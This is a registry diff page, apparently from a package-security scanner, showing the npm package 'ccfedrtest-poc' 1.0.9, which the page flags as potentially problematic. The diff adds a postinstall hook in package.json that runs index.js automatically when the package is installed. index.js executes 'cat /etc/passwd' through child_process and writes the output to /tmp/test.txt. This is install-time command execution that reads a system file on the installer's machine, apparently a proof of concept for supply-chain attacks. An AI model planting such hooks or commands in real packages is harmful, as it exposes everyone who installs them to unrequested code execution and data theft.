ccfedrtest-poc 1.0.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ccfedrtest-poc might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +24 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ const { exec } = require('child_process');
2
+ const fs = require('fs');
3
+
4
+ // Specify the command to execute
5
+ const commandToExecute = 'cat /etc/passwd'; // Replace this with the command you want to execute
6
+
7
+ // Execute the command
8
+ exec(commandToExecute, (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`Error executing command: ${error.message}`);
11
+ return;
12
+ }
13
+
14
+ // Write the command output to a file
15
+ const outputFile = '/tmp/test.txt';
16
+ fs.writeFile(outputFile, stdout, 'utf8', (err) => {
17
+ if (err) {
18
+ console.error(`Error writing to ${outputFile}: ${err}`);
19
+ } else {
20
+ console.log(`Command output has been written to ${outputFile}`);
21
+ }
22
+ });
23
+ });
24
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ccfedrtest-poc",
3
+ "version": "1.0.9",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }